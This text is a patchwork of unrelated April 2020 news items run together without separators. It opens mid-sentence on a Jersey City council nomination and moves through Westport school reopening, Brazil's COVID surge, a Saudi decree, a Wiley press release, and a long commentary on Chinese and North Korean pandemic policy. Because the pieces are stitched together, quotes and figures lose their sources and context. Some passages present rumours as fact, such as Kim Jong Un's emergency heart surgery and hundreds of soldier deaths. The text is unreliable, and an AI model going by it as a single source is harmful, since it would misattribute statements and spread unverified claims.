good person with a good heart, who is passionate about and wholeheartedly committed to Ward D. The announcement of the nomination comes several days after Ward E Councilman James Solomon and Councilman at Large Rolando Lavarro said they would conduct interviews with candidates and release footage of those interviews on social media Tuesday night. Residents are expected to be able to submit questions for the interviews. I think it is important that these processes be as open and transparent as possible and selections arent made through a closed door process, Solomon said. I personally know Yousef. I think very highly of him, but we have a number of other real great candidates. "After the open and transparent process then I will be able say whether I support Yousef or I support another strong qualified candidate. On Saturday, Fulop provided a list people who expressed interest in the City Council seat: Saleh, Jimmy Carroll, Shawn Sully Thomas, Cynthia Hadjiyannis, David Cruz, Gerry Lyons, Jocelyn Patrick, Patrick Ambrossi, Rafael Torres, Dave Calton. Yun, 65, died of complications related to COVID-19 on April 6 after more than a week in the intensive care unit at Jersey City Medical Center. Former Assemblyman Sean Connors was an early name that emerged as a possible replacement for Yun, but Connors has withdrawn from consideration. Saleh, 31, a senior compliance and regulation officer at JP Morgan Chase, ran for a three-year term on the BOE in 2017, but fell short of being elected to one of three open seats and lost to Amy DeGise, Matthew Shapiro and current BOE President Lorenzo Richardson. He also served as a student representative on the board in 2007. I have a lot to thank the Heights for my upbringing and just I want to make sure that during this precarious time that my neighbors are taken care and they are safe, Saleh said. I think [Yuns] shoes can never be filled I can only aspire to be close to his example and similarly to Michael Yun, I am from the community and I want to give back. Saleh is a first generation Palestinian American and is the second oldest of eight children. He attended School 28 in the Heights and graduated from McNair Academic High School in 2007. Saleh graduated from Rutgers University, where he was the student government president. He continued his education at Rutgers Law School, where he was the commencement speaker for his graduation class in 2015 and president of the Student Bar Association. Saleh, who served as a law clerk for the Jersey City Law Department, said he volunteered and advocated for the payroll tax and the Say Yes campaign prior to the short term rental referendum in November. He was also assisting Yun on the Board of Education referendum, which would convert the elected school board into a mayoral appointed body, which is expected to be voted on in November. WESTPORT As state officials begin early talks of how to re-open the state, the Board of Education has begun laying the groundwork of what reopening means for the school district. I believe that this is the most urgent and important work before this board going forward, BOE Chair Candice Savin said on Monday. Having our students back in school is the fondest desire I know of everyone in town. While state-led organizations may deliver guidance to municipalities, Savin said she expected a lot of guidance to be locally determined. We need to figure out what works best for Westport, and our community and our expectations, she said. Savin said factors that needed to be reviewed include health and safety protocols, potential educational remediation for ground lost during the school closure and planning for a resurgence of the virus. But BOE member Lee Goldstein said she was hesitant to made decisions on topics real experts were still questioning. Goldstein said when schools are re-opened will be within the context laid out at that time. I imagine there are going to be protocols that are going to be demanded of the schools and well do that, she said. BOE member Elaine Whitney said the school board should do as much planning as it can to handle potential problems. Id certainly reiterate the concept of ensuring an exceptional distance learning program is really critical, she said. Interim Superintendent David Abbey said the administration would look to implement a committee to handle the re-opening. We would need to define whos part of that committee and it would certainly need to be more broad-based than administrators, he said. The committee could be composed of parents, members of the community, school officials and health officials, he said. If implemented, Abbey said, the committee would discuss how to ensure school staff and students are healthy as well as make preparations if the distance learning program has to be continued. He said the committee would also look to see how the current school structure has affected students. I was thinking if the board wants us to move forward with some of these ideas, to come to the next meeting with a broad framework in terms of what a committee may look like, and what some of the essential questions may look like, Abbey said. John Bayers, human resources director for the district, said he serves on the towns emergency operations team and conversations are also ongoing about how to re-open the town. I dont see our two sides having to work separately. It really has to be linked together, Bayers said. My recommendation is it needs to go in both directions because its no way we can operate in isolation. dj.simmons@hearstmediact.com India's envoy to the US Taranjit Singh Sandhu on Tuesday said that India is in close contact with its friends including the US and is ready to step forward and help them amid the COVID-19 pandemic. In his interaction with the American Jewish Committee (AJC) in the US Sandhu said that India had been reaching out to help its friends like the US and Israel. He stated that several countries like the US had received Hydroxychloroquine and other supplies from India and the country was ready to engage with other nations for a coordinated response to the COVID-19 pandemic. Read: India's COVID-19 Cases Cross 29,000 Mark; Death Toll At 934 And 6,868 Recoveries So Far Read: ICMR Advises States To Stop Usage Of COVID Rapid Testing Kits From 2 Chinese Manufacturers "As we battle this pandemic, India remains engaged with other countries including the US and Israel in an effort to partner towards a coordinated response, in the form of collaborating scientific efforts and medical know-how. India and the US are global strategi partners with a relationship that encompasses every aspect of human endeavor. We are in a unique position today, walking together to combat the COVID-19," a part of his statement said. The death toll due to the novel Coronavirus in India rose to 934 and the number of cases climbed to 29,435 in the country on Tuesday, with 62 more deaths and 1,543 fresh cases being reported in the past 24 hours, according to the Union Health Ministry. The US has recorded over 1.2 million cases of the virus and has registered 70,000 deaths. Read: Coronavirus Live Updates: 1396 Cases Reported In Last 24 Hours; Recovery Rate Of 22.17% Read: China Issues Stung First Response As ICMR Cancels 15 Lakh Inaccurate Covid Test Kits Order Among those showing support for Douglas sheriff on social media was Darren Bailey, who shared a tweet by fellow Republican state Rep. Allen Skillicorn highlighting a quote from the sheriff in Saturdays News-Gazette story: Enough is enough. Asian-American communities are faced with not just the spread of COVID-19, but an epidemic of racism and xenophobia. While Gov. Andrew Cuomo has said, "Coronavirus is no excuse for racism," and his "No Hate in Our State" campaign is intended to protect the public from many different types of hate, the rhetoric from the White House has helped fuel anti-Asian hatred. President Donald Trump has engaged in racist opposition to the spirit of unity that America needs in order to fight a public health emergency. He has repeatedly used the xenophobic terms like "Chinese Virus" and "China Virus" to describe COVID-19. When he publicly declared that he would no longer use these words, the damage had already been done. From the verbal abuse directed at Asian-looking bus riders to Asian business boycotts to the brutal stabbing attack of an Asian-American family at a Texas Sam's Club, hateful words have had real-life consequences for America's Asian communities. The president has not apologized for stoking xenophobia through his choice of words. When a member of the media asked him to repudiate a White House staff member's use of the childish epithet "KungFlu" to describe a seriously dangerous disease, the president refused to do so. COVID-19 pandemic is a monumental challenge that was thrust upon us, but the added cruelty of weaponizing a disease to scapegoat vulnerable American communities appears deliberate and grounded in heartless disregard for humanity. There is a long and shameful history of American state-sponsored discrimination against Asian citizens, exemplified by the Japanese American citizens' internment during World War II. Yet Asian Americans have served America for hundreds of years, enlisting in the U.S. Army as far back as the Civil War, and undertaking the unforgiving and deadly dangerous labor of building the Transcontinental Railroad. Today, Asian Americans are working hard at the forefront of the heroic effort to protect all Americans, from hospital emergency rooms to biomedical research labs to New York's COVID-19 Task Force. Xenophobic public rhetoric not only demoralizes and devalues Asian Americans and distracts them from the critical work they are carrying out in the fight against COVID-19, but it also endangers their lives by inspiring racist violence. Sadly, this real threat of violence has necessitated the launch of a national website to report hate incidents (http://www.asianpacificpolicyandplanningcouncil.org/stop-aapi-hate). As of last week, it had received 1,497 reports of coronavirus-related discrimination in just one month. California and New York accounted for more than 58 percent of the reports. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. In these times of fear and uncertainty, Asian Americans, just like other Americans, look to their leaders for a sense of direction and for reassurance. They are not looking to become collateral damage of the president's squabbles with the Chinese government. America can become a stronger, more resilient nation by building on what joins people. While his agreeing to stop using xenophobic terms was an important first step, the president owes Asian Americans a heartfelt public apology. He must also try and undo some of the damage by helping Asian American communities fight hate. Cuomo mentioned in his March 21 briefing, "Crisis brings out the truth in ourselves and in others. ... You see people rise; you see people fall." We hope this pandemic will see us rise. A newly graduated doctor has described his pride at being able to join his NHS colleagues on the frontline in the fight against Covid-19. Leo Mansell will graduate from Queen's University Belfast today in an online 'ceremony' brought forward to enable hundreds of students to bolster staff numbers as the health service faces its greatest ever challenge. Dr Mansell (26), originally from Manchester and who hopes to pursue a career as a surgeon, came to Northern Ireland five years ago to study medicine and will take up a post on a hospital ward in the coming weeks - two months ahead of schedule. He said: "In normal times, medical students finish their final days on placement in the first or second week in May and then they have six weeks between graduating to start working as a foundation one doctor in August, but obviously give the current climate and need for staff to help support the frontline, that has all had to be moved forward. "We were asked if we wanted to begin working earlier, so there has been a voluntary aspect to it and I can safely say that the majority of students were up for the challenge. "It's not that it was necessarily a no-brainer for me given the personal risk and the risk to family and people you might be living with, but I think that is overridden by getting the opportunity to support your future colleagues in the NHS. "I think we are as prepared as we can be. "In one way we are more prepared because it hasn't been as long since we have been on the wards as it would have been normally, although in saying that it will be a challenge and I'm sure there will be people working outside of their comfort zone. "There's no getting away from how difficult this will get at certain points, it's going to be very difficult, and there will be difficult decisions probably about our own personal health, but I feel that the trusts have done everything they can to maintain staff safety. "I'm sure everyone has had an internal conversation with themselves about what they might see or what might happen in the coming weeks, it's only natural, but I know we'll be working as a team and the trusts and university will be there to give us support." While medical students graduating today are missing out on the opportunity to celebrate the end of their degree together, Dr Mansell said he is looking forward to meeting up with his fellow doctors once the pandemic is over. "I think that under the circumstances, everyone is happy enough and understanding of the fact that we can't have a proper graduation ceremony but the university has said they will do something at a later stage, so it will be an opportunity for us all to get back together and have a bit of a debrief almost," he explained. "I'm happy that I'm able to graduate early and I'm sure that when we look back, once we're on the other side of this pandemic, there will be a pride that we were able to do it and contribute, it's why we became doctors in the first place." Healthcare students across Northern Ireland are graduating early to help tackle the coronavirus crisis. Final-year students from social work, nursing and medicine degrees are joining the NHS, with some nurses already working in hospital wards across the region. Students from Queen's University Belfast and Ulster University approaching the end of their final clinical placements have been asked to join the profession early. Under the programme, newly qualified doctors will take up posts in the hospitals where they completed their most recent placement. This is because they have gone through the induction process and are familiar with the hospital environment, fellow staff and procedures. However, they will not necessarily return to wards where they have worked previously as many services have been reconfigured in preparation for the coronavirus pandemic. Newly qualified doctors will work alongside other clinicians, assisting them in a variety of roles. Meanwhile, legislation has been developed to enable final-year student nurses within six months of registration to go into the NHS in a paid capacity. Congratulations, diarioladiscusion.cl got a very good Social Media Impact Score! Show it by adding this HTML code on your site: Diarioladiscusion.cl scored 85 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 4/5.0 Stars by Social Team This CoolSocial report was updated on 25 Dec 2012, you can refresh this analysis whenever you want. diarioladiscusion.cl is very popular in Facebook, Twitter and Google Plus. It is liked by 317 people on Facebook, it has 59 twitter shares and it has 54 google+ shares. This is the sum of two values: the total number of people who shared, liked or recommended the diarioladiscusion homepage on Facebook + the total number of page likes (if diarioladiscusion has a Facebook fan page). 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The description of the Facebook page describes website and its services to the social media users. The type of Facebook page. Facebook Timeline is the new layout of Facebook pages. The total number of people who tagged or talked about website Facebook page in the last 7-10 days. Twitter account link TWITTER PAGE LINK NOT FOUND Brazil is emerging as potentially the next big hot spot for the coronavirus amid President Jair Bolsonaros insistence that it is just a 'little flu' and that there is no need for the sharp restrictions Rio De Janeiro: Brazil is emerging as potentially the next big hot spot for the coronavirus amid President Jair Bolsonaros insistence that it is just a "little flu and that there is no need for the sharp restrictions that have slowed the infections spread in Europe and the US. As some US states and European countries moved gradually Monday to ease their limits on movement and commerce, the intensifying outbreak in Brazil Latin America's biggest country, with 211 million people pushed some hospitals to the breaking point, with signs that a growing number of victims are now dying at home. We have all the conditions here for the pandemic to become much more serious," said Paulo Brandao, a virologist at the University of Sao Paulo. Brazil officially reported about 4,500 deaths and almost 67,000 confirmed infections. But the true numbers there, as in many other countries, are believed to be vastly higher given the lack of testing and the many people without severe symptoms who havent sought hospital care. Some scientists said over 1 million in Brazil are probably infected. The country is heading into winter, which can worsen respiratory illnesses. In Brazil, Bolsonaro has disputed the seriousness of the coronavirus and said people need to resume their lives to prevent an economic meltdown. But most state governors in the country have adopted restrictions to slow the spread and pushed people to stay at home. In mid-April, Bolsonaro fired his popular health minister after a series of disagreements over efforts to contain the virus, replacing him with an advocate for reopening the economy. Residents protested, leaning out their windows to bang pots and pans. Medical officials in Rio de Janeiro and at least four other major cities have warned that their hospital systems are on the verge of collapse or too overwhelmed to take any more patients. Officials in Sao Paulo the largest city in South America, a tightly packed metropolitan area of over 21 million residents, many living in poverty have issued death certificates over the past two weeks for 236 people who succumbed at home, double the number before the outbreak, according to the SAMU paramedic service. Manaus, an Amazon city of 1.8 million, recorded 142 deaths on Sunday, the most yet, including 41 who died at home. In the main cemetery, workers have been digging mass graves. Brazil's funeral industry warned last week that the city was running out of coffins and "there could soon be corpses left on corners. Worldwide, the death toll topped 210,000, according to a tally by Johns Hopkins University. The number of dead in the US surpassed 55,000 close to the 58,000 US troops killed during the Vietnam War. Italy, Britain, Spain and France accounted for more than 20,000 deaths each. Tuesday, April 28, 2020 Vietnam has become a popular location for business outsourcing, and Stevie-winner Swiss Post Solutions thrives on solving customer challenges in the most effective manner. For decades, India ruled the roost as an outsourced software development destination. While it continues to attract businesses looking to build IT teams overseas, its not the only major country doing so. Most prominent among these emerging destinations is Vietnam. Its lower costs, favorable business policies, robust economy, and increasingly skilled workforce are driving investments from businesses like Intel, Samsung, IBM, and Microsoft. Vietnams Rise Through the Rankings In 2010, Gartner released a list of the top 30 countries for offshore IT services, and Vietnam made its first appearance in that year. Five years later, in a similar report by Gartner, Vietnam rose to one of the top five countries, and it has maintained its ranking ever since. Vietnams outsourcing industry has grown between 20 and 35 percent every year over the past decade. In 2015, it surpassed $2 billion in revenue. Spotlight on Vietnam, a PwC report released in 2017, highlighted business process outsourcing (BPO) as one of the key opportunities for foreign investors. The growth so far has been encouraging, said Dinh Thi Quynh Van, general director of PwC Vietnam. Vietnam is already the second-largest outsourcing partner for Japanese IT firms, just behind India. We hope to see many more industries in the future. The Vietnam Advantage Almost two-thirds of Vietnams population is under 35 years of age. This young generation is highly skilled and motivated. According to a 2015 report by the World Economic Forum, Vietnam is one of the top 10 countries in terms of most engineering graduates. Also, with the governments push to teach English as a second language rather than a foreign language, this young workforce is actively scaling the language barrier that was once a cause for concern. Workplace loyalty is strong in Vietnam, which is why they have low attrition rates (between 6 and 8 percent). This is another strong point in the countrys favor, as businesses grapple with high employee turnover in most Asia-Pacific (APAC) countries. Besides an improving infrastructure and access to inexpensive, highly skilled talent, the governments proactive efforts to attract foreign investment are also critical to Vietnams continued growth. The Doing Business 2020 report, by World Bank, ranked Vietnam 70th among 190 economies in ease of doing business. As of October 2019, foreign direct investment (FDI) into Vietnam has risen by 7.4 percent year over year. Challenges in Outsourcing to Vietnam As with outsourcing to just about any country in the APAC region, cultural, logistical, and legal challenges present themselves when working with Vietnamese providers. One way to anticipate these challenges and to learn how to tackle them is to send an on-ground team to Vietnam that can build relationships and get familiar with the Vietnamese culture. This will help organizations understand the business and political landscape, including taxation, paperwork, and procedures. It will also allow a business to get a head start on recruitment. There are also productivity challenges that come with working with remote teams. This can be addressed by following best practices, instituting training, and ensuring extensive documentation. Finally, Vietnam currently does not have the infrastructure to support large teams with thousands of employees. At the moment, the country is best suited for small to midsize operations. One of Many One of the companies that bagged a Silver Stevie Award in the Company of the Year - Business or Professional Services - Large category at The 2019 International Business Awards was Swiss Post Solutions Vietnam, which is based in Ho Chi Minh City, Vietnam. We are a young, competitive, and innovative organization that thrives on solving customer challenges in the most effective manner, says Ha Doi, corporate marketing executive at Swiss Post Solutions. Swiss Post Solutions, which focuses on providing high-quality document management, BPO, and IT operational services, is one of many Vietnamese companies backed by a young team with an innovative culture. Any of these could be your next outsourcing match as you scale your business. Interested in entering The International Business Awards? Saudi Arabia will no longer impose the death sentence on individuals who committed crimes while still minors, the state-backed Human Rights Commission (HRC) said in a statement, citing a royal decree by King Salman. The decree means that any individuals who received a death sentence for crimes committed while he or she is a minor can no longer face execution. Instead, the individual will receive a prison sentence of no longer than 10 years in a juvenile detention facility, HRC President Awwad Alawwad said in the statement. It was not immediately clear when the decree, which was not immediately carried on state media, would take effect, Reuters reported. The announcement came just two days after the kingdom in effect scrapped the punishment of flogging, in a decision by the General Commission for the Supreme Court. The punishment will instead be replaced by prison time or fines. To do our best to stay a part of the Covid-19 fight, my shop will be going above and beyond the Georgia State Board of Cosmetologists and Barbers guidelines on reopening. Its true that service providers like nail technicians are literally hands-on. Its an intimate service. So Im asking any of my clients who have compromised immune systems or fragile health and those living with family members who are older or have questionable health to remain at home. For clients we do allow to come in, were doing all we can to craft a safe environment. Shifts will be staggered so that staff can be hypervigilant about cleaning all work stations before and after each reservation. Before approving appointments, even with the clients weve known for years, were going to screen them on the phone asking about their health and recent travel. A two-way trust between us and the customers will be critical, which is exactly why we have the policy of seeing only the clients we knew well before the coronavirus began to spread. Everybody who is approved has to come with their own face mask and submit to a temperature reading if they want to enter the store. And wash their hands for 20 seconds when they arrive and before they depart. Customers are also going to have to sign an agreement to contact me should anyone in their family experience fever, sore throat, tightness in their chest or other Covid-19 symptoms in the two weeks after their appointment. There will be barriers between all work stations. And, of course, all of us on staff will be wearing gloves and masks, in addition to face shields. A maximum of six people (for example, three customers and three nail technicians) will be allowed in the salon at a time. No, its not a perfect solution for a service that requires direct touch. But well be doing the best we can in our context just like the liquor stores, the hardware stores and the food trucks that have been open throughout this time. I moved to Georgia when I was five. And Ive been working in the state since 2005. My staff is a multiracial group of African-American, Vietnamese, Cambodian, Filipino, Hispanic and other backgrounds. The safety of my daughters, my employees and my clients is incredibly important to me. [April 28, 2020] Wiley Education Services and University of Iowa Announce New Partnership HOBOKEN, N.J., April 28, 2020 /PRNewswire/ -- Wiley Education Services, a division of Wiley, today announced a new partnership with the University of Iowa to support and strengthen its online programs. As part of the two-year partnership, Wiley will support the continued development of two online programs in the University of Iowa College of Education, as well as provide its comprehensive suite of market research, marketing and enrollment services to attract and retain online learners. Beginning in 2020, Wiley will provide support for the University of Iowa College of Education's online progras in M.A. Teaching, Leadership and Cultural Competency and M.S. STEM Education. "In today's rapidly-changing education landscape, support for current and future educators is more important than ever," said Todd Zipper, president of Wiley Education Services. "Through our partnership with the University of Iowa, we will deliver our customized approach to online learning and help support the success of future students." The University of Iowa College of Education is internationally renowned, providing more than 80 undergraduate and graduate programs and certificates for its nearly 1,200 students. The university is ranked No. 15 in Best Online Master's in Education Programs according to the 2019 U.S. News & World Report's Best Online Education Programs ranking. About Wiley Education Services Wiley Education Services, a division of Wiley, is a leading, global provider of technology-enabled education solutions to meet the evolving needs of universities, corporations and ultimately, learners. We partner with 70 institutions across the U.S., Europe and Australia, and support over 800-degree programs. Our best-in-class services and market insights are driven by our deep commitment and expertiseproven to elevate enrollment, retention and completion rates. For more information visit edservices.wiley.com. View original content to download multimedia:http://www.prnewswire.com/news-releases/wiley-education-services-and-university-of-iowa-announce-new-partnership-301048180.html SOURCE Wiley Education Services [ Back To TMCnet.com's Homepage ] Photo: Giacomo Barbaro/Flickr Here's what you need to know about what's happening in New York City. Accused rapist, sprung because of COVID-19, back in jail on new rape charge A Brooklyn man was arrested for allegedly sexually assaulting a woman just 10 days after he was released to stop the spread of the coronavirus at Rikers Island, where he was being held on a separate rape charge. Read the full story on The Washington Times. Woman 'stunned' to be on crowded American Airlines flight from NYC to NC with lack of social distancing amid COVID-19 A woman was fearful to be on a flight nearly full of passengers on a trip from New York City to North Carolina over the weekend. Read the full story on ABC7. Top Manhattan ER doc commits suicide, shaken by coronavirus onslaught The head of the emergency department at a Manhattan hospital committed suicide after spending days on the frontlines of the coronavirus battle, her family said Monday. Read the full story on New York Post. Council members call for NYPD hiring freeze instead of education cuts City council members joined parents and activists Monday in calling for an NYPD hiring freeze and other measures to ease Department of Education cuts amidst the coronavirus crisis. Read the full story on New York Post. Man shot at point blank range in NYC subway car A man was shot several times at point blank range on a subway car in the Bronx, police said Monday. Read the full story on New York Post. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. The covid19 virus that first showed up in Wuhan about six months ago has led the government to decide it would be best to try and convince the world that the virus was not Chinas fault while at the same time struggling to deal with the continuing problems the Wuhan virus is causing in Wuhan and elsewhere in China. Very aggressive diplomacy, even by Chinese standards, is being applied against nations that contradict the Chinese assertions that they were not responsible for covid19 but the Americans were, and China has contained the virus inside China. Many Chinese scientists, doctors and people in Wuhan blame their government for failing to recognize the virus risk early on. While China is silencing (via warnings or arrests) many internal critics, their views, often including scientific or medical data, gets out. Same with many people in Wuhan who speak up about how bad it was initially, and still is. At the same time, the government is trying to suppress news that there are major outbreaks in other parts of China. When some Chinese economists recently published their analysis of the virus impact on the economy (20 percent unemployment rate), the government quickly forced that report to be withdrawn and repeated that the official unemployment rate was six percent. According to locals in many parts of China there is higher than usual unemployment and other economists believe GDP will at least shrink a bit this year and halt the decades of annual GDP growth. The Chinese diplomatic bullying may work on some nations but it is less successful in convincing at restoring confidence in the Chinese economy. The number of foreign firms pulling their manufacturing operations out of China keeps increasing. Chinese economists estimate of 20 percent unemployment explains why so many foreign firms are no longer working with Chinese companies or in China. What China tells the outside world about the state of its economy does not match what is actually happening, and foreign firms are not going along with the official deception policy. The government was concerned about losing credibility with their own population and foreigners and have made the situation worse by trying to pretend reality was being misinterpreted by foreigners. This strategy has backfired and now the government is worse off internally and externally. Threats of economic retaliation against major trading partners, like Australia, failed and made matters worse for China. China is also concerned that most other East Asian nations did a much better job of dealing with covid19. The very effective response of Taiwan was particularly embarrassing, as Chinese pressure in the UN has kept Taiwan from belonging to international health groups like WHO. That makes it more difficult for the rest of the world to learn how Taiwan was more effective in dealing with covid19. Local allies of Taiwan, like Japan, South Korea, Singapore, Vietnam and so on are able to get Taiwan virus tips quickly because all these nations are united in confronting Chinese aggression in the region. Covid19 is seen as just another problem with being a neighbor of China. One very practical reason for the Chinese strategy was the realization that the health problems caused by covid19 were minor compared to the damage done by shutting down the economy in areas where the virus was active. People want to go back to work, but they are not happy with going back to work while the government insists there is no virus risk at all. That is not true and while healthy people are able to resist the virus as they would the annual arrival of Influenza, covid19 is particularly lethal to the elderly and anyone with serious health problems. Respect for the elderly is an important part of Chinese culture and the government policy. The government is seen as willfully sacrificing the elderly for political and propaganda reasons. The government ignores this while searching for ways to improve control over the population. It does not help when more Chinese realize that the CCP (Chinese Communist Party) does not serve the people but it is the other way around. North Korea Still no confirmation about what conditions leader Kim Jong Un is in after his emergency heart surgery two weeks ago. China has sent teams of medical personnel in but these are officially there to help deal with covid19. Some of the Chinese doctors sent were known to be specialists in other areas. China is not saying anything but is concerned about its unstable, unruly and often disobedient neighbor. In North Korea, the government continues to regard all information relating to covid19 as state secrets. Officially North Korea denies that covid19 is a problem in North Korea. This seems to be a practical attitude because North Korea has no real public health capability, especially the ability to monitor the overall impact of covid19. The only data collected about the disease was what impact it had on the military. That data was secret but because just about every family in the country has someone in the military, the data got leaked. By early March several thousand North Koreas soldiers appear to have been quarantined on suspicion of having the virus. These cases were almost all along the Chinese border. North Korea cannot afford to test many people for covid19. Instead, the army has been ordered to isolate any soldiers who exhibit symptoms of the virus. This probably puts some non-covid19 patients in quarantine with those who do have it. Hundreds of soldiers have died recently of fever and families are being told the bodies were cremated. Compared to China and North Korea, South Korea has suffered a much lower death rate for people infected. In China, the death rate has been 3-4 percent while in South Korea it has been 0.7 percent. South Korea with a population (51 million) twice as large as in the north has so far apparently suffered 80 percent fewer covid19 deaths. China only reported covid19 data for about two months and then very reluctantly. After that China claimed that there was no longer any covid19 danger in China. Unofficial reports getting past Chinese censors and out to the rest of the world indicate that covid19 is still infecting and killing people in China, whose people are resisting government offers to pretend that the covid19 epidemic has passed. Similar situation in North Korea where the government insists there has never been a covid19 epidemic, just a few isolated cases that were quickly taken care of. North Korea does have one advantage in restricting the spread of covid19; poor transportation networks. Government mismanagement of the economy has left the roads, and railroads in poor shape and it is very difficult to travel in North Korea. So covid19 could not spread much from the few active entry points on the Chinese border and a few ports. Even with that, there were some large outbreaks along the Chinese border and in some military units. By any measure, South Korea has an excellent health system. As a result, South Korea has been able to cope and has already contained the virus, with the number of new cases declining and fewer deaths per thousand infected people. Despite this superior performance, North Korea will not accept any South Korean help in this matter because the official word in the north is that the government kept the virus out. In most of the country that is true. But along the still porous Chinese border, it is no secret with the locals that covid19 got into their part of North Korea. People living near the Chinese border increasingly ignore government propaganda and take their own precautions to avoid the disease. While the military has a rudimentary health system for their personnel and some resources to deal with covid19 infections, modern health care is only available to the most senior officials, both military and non-military. These officials also have access to the outside world and what is really going on with covid19 in other countries. North Korea is going through the covid19 epidemic the old fashioned way and that is not all that shocking in the north, where people are perplexed by all the fuss. After all, the North Korean government took no precautions during SARS (2003) and MERS (2015) virus outbreaks. What is different about covid19 is that it spreads more easily and quickly. Not to the extent that it could be described as an exterminating disease. Only a few percent of those infected die, and these are mainly the very old or already very sick. In North Korea, you have to add a fourth vulnerable group; the malnourished. Food shortages have been worse the past few years and a lot more people are simply not getting enough to eat. There are also more homeless children and adults in urban areas and they tend to be in poor health. Some of these deaths may be from other causes but North Korean medical personnel, at least outside the capital, do not have the diagnostic equipment to confirm covid19 deaths. Officially there is a national health-care system but the reality is that only the capital and the military have any significant medical resources. The only place where you see a lot of people wearing face masks is the capital where only key security personnel and the most elite officials (the one percenters) were issued masks. Other people improvise. North Korea has suppressed any official, or unofficial, news of what is really happening. But North Koreans still have their cell phones, although they have to use carefully selected code words to pass on covid19 related news. Information brokers on the Chinese side of the border are still getting plenty of business even though much less information is getting out since the government began restricting movement within North Korea and across the border in January. On February 20 all schools (except for a few elite science programs) were shut down for a month. Long distance travel by train, plane, automobile or boat was restricted or banned. The border ban includes North Koreans arrested in China for being there illegally. It is also illegal to leave North Korea without permission and these prisoners are usually transferred back to North Korea for punishment. That has been halted until the covid19 danger has passed. The only legal crossings from North Korea are foreign diplomats being expelled on suspicion of having covid19. The military has banned leave for soldiers and restricted who can leave the base. New recruits are being turned down if they have any indications of sickness, especially lung related. Lacking the resources to test for covid19 military doctors are using cruder methods that sees more conscripts having their induction delayed for months or longer. The military only takes in new recruits twice a year but one of those induction periods occurs in mid-January and lasts about a month. The military also discharges soldiers who have completed their enlistments (of up to ten years) at the same time. These discharges have been delayed as well, for a month or more. Same deal for officers retiring or completing their mandatory active service before going into the reserves. North Korea also demanded that Chinese border guards ban civilians from even approaching the Yalu River that comprises most of the border. North Korea threatened to use violence to enforce this ban. China told North Korea to tone down the rhetoric before something unfortunate, for North Korea, happened. In early February North Korea halted all Chinese tourism, despite the fact that this is a major source of foreign currency and curbed normal (business and government) travel to China. North Korea is also very poor and in no condition to deal with an outbreak of the new virus. Yet North Korea still has a lot of smugglers operating along the Chinese border and in some coastal areas. The border with China has been closed to major traffic since January 30th and that means bulk imports of food and fuel are not arriving. These are legal imports that China is the major supplier of. North Korea cannot afford to maintain much in the way of food or fuel reserves and what reserves do exist are for the military, in case there is a war or other national emergency. These supplies may already have been released to provincial security forces (soldiers and police) but they wont last long if the Chinese border remains closed. April 24, 2020: For the second time this month the U.S. Navy has conducted a FONOP (freedom of navigation operation) near China as an American destroyer passed through the Taiwan Strait (the waters between Taiwan and the Chinese mainland). Two weeks ago the same destroyer passed through the straits. Since July 2018 the U.S. Navy has carried out Taiwan Strait FONOPs nearly every month. Until the 2018 FONOP such trips through the Taiwan Strait (which American warships do regularly) were not publicized, something the U.S. had been doing since 2007. The renewal of publicizing these movements annoys China which responded by having their own warships following American warships passing through the Taiwan Strait and increasing Chinese naval ship patrols around Taiwan. In the south, China ordered its border crossings with Myanmar (Burma) closed for 60 days, to prevent covid19 infected people from Myanmar from entering China. For several weeks before this closure thousands of Burmese who had been working in China returned home, many of them carrying the virus. In Hong Kong, a hundred pro-democracy locals staged the first public demonstration since January, when public assembly restrictions were imposed to deal with covid19. Hong Kong was more effective at handling the virus and has gone 13 days without any cases of covid19. The demonstrators wore masks, gloves and eye protection. They stayed away from each other and were obeying all the virus restrictions. Except thee were displaying pro-democracy signs that the police left them alone for about an hour. Hong Kong has suffered much less from covid19 than the rest of China. The local government hoped that the quarantine rules that are a part of containing the virus would eliminate the protests that have been going on since June 2019. The quarantine rules did halt the mass demonstrations but subsequent opinion polls showed public approval of the protestors had increased anyway. Eight days ago the police arrested a dozen prominent local democracy supporters and declared the pro-democracy movement over. That may be premature. It depends on how much of Hong Kongs effectiveness as a financial center is lost by declaring Hong Kong no longer a special zone but just another Chinese city. April 23, 2020: China has sent a team of medical experts to North Korea to help with unspecified problems. This apparently has to do with recent heart surgery North Korea dictator Kim Jong Um had. There were complications and the patient has not been seen or heard from since the surgery eleven days ago. It was known that Kim suffered from diabetes, obesity and unspecified heart problems. April 22, 2020: The government announced the navy had commissioned a new SSBN (ballistic missile carrying nuclear subs), probably one of the Type 94s known to be under construction. In 2019 there was a second successful test of the new JL-3 SLBM (sub launched ballistic missile) carried by the Type 94. Several tests have indicated a range of 9,000 kilometers (5,600 miles). That is nearly 30 percent farther than the earlier, and less reliable JL-2. The JL-3 appears to be the first Chinese SLBM reliable enough to use regularly in Chinese SSBNs and allow then to operate at sea regularly and reliably. That has not been possible until now, mainly because earlier Chinese SLBM designs were not reliable. In late 2018 commercial satellite photos available in the West confirmed that two new Chinese 094 class SSBNs were launched and docked for months of additional work before they are completed and ready for sea trials. Currently, only four 094s are available for duty and were long crippled by older JL-2 SLBMs that do not work. In addition, there are still problems with basic o94 design, which is considered too noisy to stay hidden from American efforts to locate and follow. The two 094s under construction were believed to contain a number of improvements. The second four are being called the 094A class and the existing 094s are apparently being upgraded. For the moment, though, China still does not have an operational SSBN force and after decades of trying, wont have one until the 2020s. For China, this is how it works. That was also why China, for a long time, played down its efforts to build and operate nuclear-powered subs. April 21, 2020: The Philippines Navy revealed that in late February a Chinese corvette aimed its cannon at a Filipino corvette (a former South Korean Pohang class ship) when the Filipinos ordered the Chinese to leave the area near Commodore Reef, which is part of the Spratly Islands in the South China Sea. Commodore Reef is recognized by international treaty as Filipino but the Chinese corvette kept telling the Filipino corvette that the area they were in was Chinese territory. The Chinese corvette kept moving and left the area, continuing to insist the area was China but obviously not willing to open fire and try to enforce the claim. April 19, 2020: China has issued a list of official Chinese language names for places (reefs, islands and the like) in the South China Sea that have long used local and English language names (given by early European explorers). China will use these new names in all Chinese media and government documents and wait for the rest of the world to catch up. April 18, 2020: In Iraq (outside Baghdad) two rockets were fired at a Chinese oilfield development operation. There were no casualties. This was the second such attack this month and the cause appears to be a local militia that did not get the terms they wanted from the Chinese for a business deal. April 17, 2020: The city of Wuhan, where the Wuhan virus (covid19) originated, adjusted its virus statistics by increasing the official death toll by 50 percent to 3,869. The reason was that officials were not recording covid19 deaths for those who 